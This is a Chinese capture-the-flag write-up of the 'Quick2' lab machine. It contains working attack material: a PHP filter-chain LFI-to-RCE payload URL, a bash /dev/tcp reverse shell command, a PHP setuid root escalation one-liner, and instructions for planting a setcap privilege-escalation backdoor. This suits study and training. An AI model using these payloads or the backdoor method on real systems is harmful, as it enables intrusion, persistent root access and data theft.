Quick2靶机渗透

笔记编辑于2025/11/23

本文是个人参考【OSCP】quick2进行的复现的文章

靶机渗透开场

攻击机1

主机存活发现

复制代码
┌──(root㉿Xudde)-[~]
└─# ip a
┌──(root㉿Xudde)-[~]
└─# nmap -sP 192.168.161.130/24

发现靶机192.168.161.131

攻击机2

端口扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# nmap -sV -O -p- 192.168.161.131

攻击机3

目录扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# dirsearch -u http://192.168.161.131:80/

攻击机4

漏洞扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# nikto -host http://192.168.161.131

nikto告诉我们index.php?page=存在文件本地文件包含漏洞

攻击机5

验证本地文件包含漏洞

当然在file.php这个文件也有本地文件包含漏洞

攻击机6

用脚本php_filter_chain_generator.py构造RCE

https://github.com/synacktiv/php_filter_chain_generator

一个用于生成PHP过滤器链的命令行工具,如果你完全控制传入PHP require或include的参数,则无需上传文件即可获得RCE!

复制代码
python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>'

攻击机7

file=后面加上&0=id执行命令

复制代码
http:?/192.168.161.131:80/file.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=id

攻击机8

反弹shell,命令需要url编码

复制代码
//编码前
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.161.131/6666 0>&1"
//编码后,插入&0=后面,本地执行nc -lvvp 6666监听
%2fbin%2fbash+-c+%22%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.161.131%2f6666+0%3e%261%22         

成功拿到shell

目标机1

复制代码
cd /home/nick
cat user.txt

第一个flag,HMV{Its-gonna-be-a-fast-ride}

靶机渗透内网提权

攻击机10

提权

在/tmp目录下上传linpeas.sh扫描

复制代码
python -m http.server 7777

目标机2

复制代码
wget http://192.168.161.130:7777/linpeas.sh

目标机3

给予linpeas.sh执行权限,并执行linpeas.sh

复制代码
chmod +x linpeas.sh ./linpeas.sh

目标机4

根据描述查看有无RED/YELLOW

攻击机11

复制代码
https://gtfobins.github.io/gtfobins/php/

目标机5

复制代码
/usr/bin/php8.1 -r "posix_setuid(0);system('/bin/sh');" 
或者 
CMD="/bin/sh" 
/usr/bin/php8.1 -r "posix_setuid(0);system('$CMD');"

目标机6

复制代码
ls /root/ cat /root/root.txt

得到第二个flag,HMV{This-was-a-Quick-AND-fast-machine}

靶机渗透结束收场

web漏洞源代码分析

file.php文件

复制代码
www-data@quick2:/var/www/html$ cat file.php
cat file.php
<html>
<body>
<h2>Local File Inclusion Vulnerability</h2>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'];?>">
  File to include: <input type="text" name="file">
  <input type="submit">
</form>
<?php
if (isset($_GET['file'])) {
  include($_GET['file']);
}
?>
</body>
</html>

没有任何过滤

可以利用php伪协议执行代码

复制代码
http://192.168.161.131:80/file.php?file=php://filter/convert.base64-encode/resource={file}.php

还有file:///etc/passwd读取文件

另外因为靶机php配置文件没有开启allow_url_include无法实现php://input和data://

且allow_url_fopen也是关闭的远程文件包含更无法实现

渗透收获

设置提权后门方法

setcap cap_setuid=ep /usr/bin/php8.1 //允许进程修改自身用户id

提权后门提权方法

/usr/bin/php8.1 -r "posix_setuid=(0);system('/bin/sh');"

这波渗透收获也蛮丰收,懂得了设置提权后面的方法和新的提权方法

相关推荐
JaguarJack1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack2 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理2 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行3 天前
网络安全总结
安全·web安全
西岸行者3 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
red1giant_star3 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
starlaky3 天前
Django入门笔记
笔记·django
QQ5110082853 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
勇气要爆发3 天前
吴恩达《LangChain LLM 应用开发精读笔记》1-Introduction_介绍
笔记·langchain·吴恩达